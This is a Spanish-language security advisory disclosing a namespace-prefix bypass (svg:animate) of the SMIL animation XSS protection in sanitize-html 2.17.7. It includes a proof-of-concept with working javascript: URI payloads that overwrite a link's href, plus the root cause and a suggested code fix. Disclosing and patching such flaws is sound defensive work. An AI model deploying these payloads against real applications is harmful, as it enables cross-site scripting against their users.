ApostropheCMS sanitize-html: La evasión de prefijo de espacio de nombres en animación SMIL permite inyección de URI javascript: (XSS)

Resumen

sanitize-html 2.17.7 introdujo animatesUrlAttribute() para bloquear elementos de animación SVG (animate, animateColor, animateMotion, animateTransform, set) cuando su attributeName apunta a un destino de URL como href. Sin embargo, esta comprobación se evade cuando el elemento de animación utiliza un prefijo de espacio de nombres (por ejemplo, svg:animate en lugar de animate).

Causa raíz

La función animatesUrlAttribute (index.js, línea ~832) comprueba svgAnimationTags.indexOf(name.toLowerCase()), donde svgAnimationTags contiene nombres locales simples: ["animate", "animatecolor", "animatemotion", "animatetransform", "set"]. htmlparser2 pasa los nombres de etiqueta con prefijo de espacio de nombres tal cual, por lo que svg:animate no coincide con animate en el array, lo que hace que la función devuelva false y se omita la protección contra XSS de SMIL.

Irónicamente, la función ya gestiona correctamente los prefijos de espacio de nombres para el valor de destino attributeName (línea ~843): const localName = target.slice(target.lastIndexOf(":") + 1) — pero esta misma eliminación no se aplicó al nombre de etiqueta en sí.

Prueba de concepto

const sanitizeHtml = require("sanitize-html");

const config = {
  allowedTags: false,
  allowedAttributes: false,
  allowedSchemes: ["http", "https"]
};

// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
  `<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED

// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
  `<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
  config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS

Todos los 5 elementos de animación SMIL se pueden evadir con cualquier prefijo de espacio de nombres (svg:, xlink:, xml:, variantes en mayúsculas). Probado y confirmado en sanitize-html 2.17.7 del repositorio monorepo de apostrophe.

Impacto

Cross-site scripting (XSS) a través del redireccionamiento de animación SMIL. Cuando una aplicación utiliza allowedTags: false (habitual en editores de texto enriquecido que desean preservar SVG), un atacante puede inyectar <svg:animate attributeName="href" values="#safe;javascript:..." .../> para sobrescribir el atributo href de un elemento primario <a> tras cargar la página, provocando que el enlace ejecute JavaScript al hacer clic en él.

Corrección sugerida

Eliminar el prefijo de espacio de nombres del nombre de etiqueta antes de la búsqueda, coincidiendo con el patrón que ya se utiliza para el destino del nombre de atributo:

// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {

// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {

Versiones afectadas

sanitize-html >= 2.17.7 (donde se introdujo la protección de animación SMIL). Las versiones anteriores carecen por completo de la protección SMIL.

Créditos

Kai Aizen (SnailSploit) — Adversarial AI & Security Research